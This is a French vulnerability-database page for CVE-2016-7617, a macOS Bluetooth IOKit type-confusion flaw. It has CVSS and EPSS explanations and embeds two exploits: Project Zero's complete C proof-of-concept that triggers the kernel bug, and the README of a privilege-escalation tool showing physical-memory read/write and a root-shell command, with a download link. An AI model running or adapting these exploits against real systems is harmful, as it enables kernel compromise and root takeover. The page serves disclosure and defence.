CVE-2016-7617 : Détail

CVE-2016-7617

7.8
/
Haute
2.66%V4
Local
2017-02-20
07h35 +00:00
2017-09-02
07h57 +00:00
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

An issue was discovered in certain Apple products. macOS before 10.12.2 is affected. The issue involves the "Bluetooth" component. It allows attackers to execute arbitrary code in a privileged context or cause a denial of service (type confusion) via a crafted app.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-704 Incorrect Type Conversion or Cast
The product does not correctly convert an object, resource, or structure from one type to a different type.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V3.0 7.8 HIGH CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

A vulnerability exploitable with Local access means that the vulnerable component is not bound to the network stack, and the attacker's path is via read/write/execute capabilities. In some cases, the attacker may be logged in locally in order to exploit the vulnerability, otherwise, she may rely on User Interaction to execute a malicious file.

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

Required

Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

nvd@nist.gov
V2 9.3 AV:N/AC:M/Au:N/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 40952

Date de publication : 2016-12-21 23h00 +00:00
Auteur : Google Security Research
EDB Vérifié : Yes

/* Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=974 There are two ways for IOServices to define their IOUserClient classes: they can override IOService::newUserClient and allocate the correct type themselves or they can set the IOUserClientClass key in their registry entry. The default implementation of IOService::newUserClient does this: IOReturn IOService::newUserClient( task_t owningTask, void * securityID, UInt32 type, OSDictionary * properties, IOUserClient ** handler ) { const OSSymbol *userClientClass = 0; IOUserClient *client; OSObject *temp; if (kIOReturnSuccess == newUserClient( owningTask, securityID, type, handler )) return kIOReturnSuccess; // First try my own properties for a user client class name temp = getProperty(gIOUserClientClassKey); if (temp) { if (OSDynamicCast(OSSymbol, temp)) userClientClass = (const OSSymbol *) temp; else if (OSDynamicCast(OSString, temp)) { userClientClass = OSSymbol::withString((OSString *) temp); if (userClientClass) setProperty(kIOUserClientClassKey, (OSObject *) userClientClass); } } // Didn't find one so lets just bomb out now without further ado. if (!userClientClass) return kIOReturnUnsupported; // This reference is consumed by the IOServiceOpen call temp = OSMetaClass::allocClassWithName(userClientClass); if (!temp) return kIOReturnNoMemory; if (OSDynamicCast(IOUserClient, temp)) client = (IOUserClient *) temp; else { temp->release(); return kIOReturnUnsupported; } if ( !client->initWithTask(owningTask, securityID, type, properties) ) { ... continue on and call client->start(this) to connect the client to the service This reads the "IOUserClientClass" entry in the services registry entry and uses the IOKit reflection API to allocate it. If an IOService doesn't want to have any IOUserClients then it has two options, either override newUserClient to return kIOReturnUnsupported or make sure that there is no IOUserClientClass entry in the service's registry entry. AppleBroadcomBluetoothHostController takes the second approach but inherits from IOBluetoothHostController which overrides ::setProperties to allow an unprivileged user to set *all* registry entry properties, including IOUserClientClass. This leads to a very exploitable type confusion issue as plenty of IOUserClient subclasses don't expect to be connected to a different IOService provider. In this PoC I connect an IGAccelSharedUserClient to a AppleBroadcomBluetoothHostController which leads immediately to an invalid virtual call. With more investigation I'm sure you could build some very nice exploitation primitives with this bug. Tested on MacBookAir5,2 MacOS Sierra 10.12.1 (16B2555) */ // ianbeer // clang -o wrongclass wrongclass.c -framework IOKit -framework CoreFoundation #if 0 MacOS kernel code execution due to writable privileged IOKit registry properties There are two ways for IOServices to define their IOUserClient classes: they can override IOService::newUserClient and allocate the correct type themselves or they can set the IOUserClientClass key in their registry entry. The default implementation of IOService::newUserClient does this: IOReturn IOService::newUserClient( task_t owningTask, void * securityID, UInt32 type, OSDictionary * properties, IOUserClient ** handler ) { const OSSymbol *userClientClass = 0; IOUserClient *client; OSObject *temp; if (kIOReturnSuccess == newUserClient( owningTask, securityID, type, handler )) return kIOReturnSuccess; // First try my own properties for a user client class name temp = getProperty(gIOUserClientClassKey); if (temp) { if (OSDynamicCast(OSSymbol, temp)) userClientClass = (const OSSymbol *) temp; else if (OSDynamicCast(OSString, temp)) { userClientClass = OSSymbol::withString((OSString *) temp); if (userClientClass) setProperty(kIOUserClientClassKey, (OSObject *) userClientClass); } } // Didn't find one so lets just bomb out now without further ado. if (!userClientClass) return kIOReturnUnsupported; // This reference is consumed by the IOServiceOpen call temp = OSMetaClass::allocClassWithName(userClientClass); if (!temp) return kIOReturnNoMemory; if (OSDynamicCast(IOUserClient, temp)) client = (IOUserClient *) temp; else { temp->release(); return kIOReturnUnsupported; } if ( !client->initWithTask(owningTask, securityID, type, properties) ) { ... continue on and call client->start(this) to connect the client to the service This reads the "IOUserClientClass" entry in the services registry entry and uses the IOKit reflection API to allocate it. If an IOService doesn't want to have any IOUserClients then it has two options, either override newUserClient to return kIOReturnUnsupported or make sure that there is no IOUserClientClass entry in the service's registry entry. AppleBroadcomBluetoothHostController takes the second approach but inherits from IOBluetoothHostController which overrides ::setProperties to allow an unprivileged user to set *all* registry entry properties, including IOUserClientClass. This leads to a very exploitable type confusion issue as plenty of IOUserClient subclasses don't expect to be connected to a different IOService provider. In this PoC I connect an IGAccelSharedUserClient to a AppleBroadcomBluetoothHostController which leads immediately to an invalid virtual call. With more investigation I'm sure you could build some very nice exploitation primitives with this bug. Tested on MacBookAir5,2 MacOS Sierra 10.12.1 (16B2555) #endif #include <stdio.h> #include <stdlib.h> #include <mach/mach.h> #include <IOKit/IOKitLib.h> #include <CoreFoundation/CoreFoundation.h> int main(){ io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("AppleBroadcomBluetoothHostController")); if (service == IO_OBJECT_NULL){ printf("unable to find service\n"); return 1; } printf("got service: %x\n", service); // try to set the prop: kern_return_t err; err = IORegistryEntrySetCFProperty( service, CFSTR("IOUserClientClass"), CFSTR("IGAccelSharedUserClient")); if (err != KERN_SUCCESS){ printf("setProperty failed\n"); } else { printf("set the property!!\n"); } // open a userclient: io_connect_t conn = MACH_PORT_NULL; err = IOServiceOpen(service, mach_task_self(), 0, &conn); if (err != KERN_SUCCESS){ printf("unable to get user client connection\n"); return 1; } printf("got userclient connection: %x\n", conn); return 0; }
Exploit Database EDB-ID : 44237

Date de publication : 2017-01-15 23h00 +00:00
Auteur : Brandon Azad
EDB Vérifié : No

## physmem <!-- Brandon Azad --> physmem is a physical memory inspection tool and local privilege escalation targeting macOS up through 10.12.1. It exploits either [CVE-2016-1825] or [CVE-2016-7617] depending on the deployment target. These two vulnerabilities are nearly identical, and exploitation can be done exactly the same. They were patched in OS X El Capitan [10.11.5] and macOS Sierra [10.12.2], respectively. [CVE-2016-1825]: https://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2016-1825 [CVE-2016-7617]: https://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2016-7617 [10.11.5]: https://support.apple.com/en-us/HT206567 [10.12.2]: https://support.apple.com/en-us/HT207423 Because these are logic bugs, exploitation is incredibly reliable. I have not yet experienced a panic in the tens of thousands of times I've run a program (correctly) exploiting these vulnerabilities. ### CVE-2016-1825 CVE-2016-1825 is an issue in IOHIDevice which allows setting arbitrary IOKit registry properties. In particular, the privileged property IOUserClientClass can be controlled by an unprivileged process. I have not tested platforms before Yosemite, but the vulnerability appears in the source code as early as Mac OS X Leopard. ### CVE-2016-7617 CVE-2016-7617 is an almost identical issue in AppleBroadcomBluetoothHostController. This vulnerability appears to have been introduced in OS X El Capitan. It was reported by Ian Beer of Google's Project Zero (issue [974]) and Radu Motspan. [974]: https://bugs.chromium.org/p/project-zero/issues/detail?id=974 ### Building Build physmem by specifying your deployment target on the command line: $ make MACOSX_DEPLOYMENT_TARGET=10.10.5 ### Running You can read a word of physical memory using the read command: $ ./physmem read 0x1000 a69a04f2f59625b3 You can write to physical memory using the write command: $ ./physmem write 0x1000 0x1122334455667788 $ ./physmem read 0x1000 1122334455667788 You can exec a root shell using the root command: $ ./physmem root sh-3.2# whoami root ### License The physmem code is released into the public domain. As a courtesy I ask that if you reference or use any of this code you attribute it to me. Download: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/44237.zip

Products Mentioned

Configuraton 0

Apple>>Mac_os_x >> Version To (including) 10.12.1

Références

http://www.securityfocus.com/bid/94903
Tags : vdb-entry, x_refsource_BID
https://www.exploit-db.com/exploits/40952/
Tags : exploit, x_refsource_EXPLOIT-DB
http://www.securitytracker.com/id/1037469
Tags : vdb-entry, x_refsource_SECTRACK
https://support.apple.com/HT207423
Tags : x_refsource_CONFIRM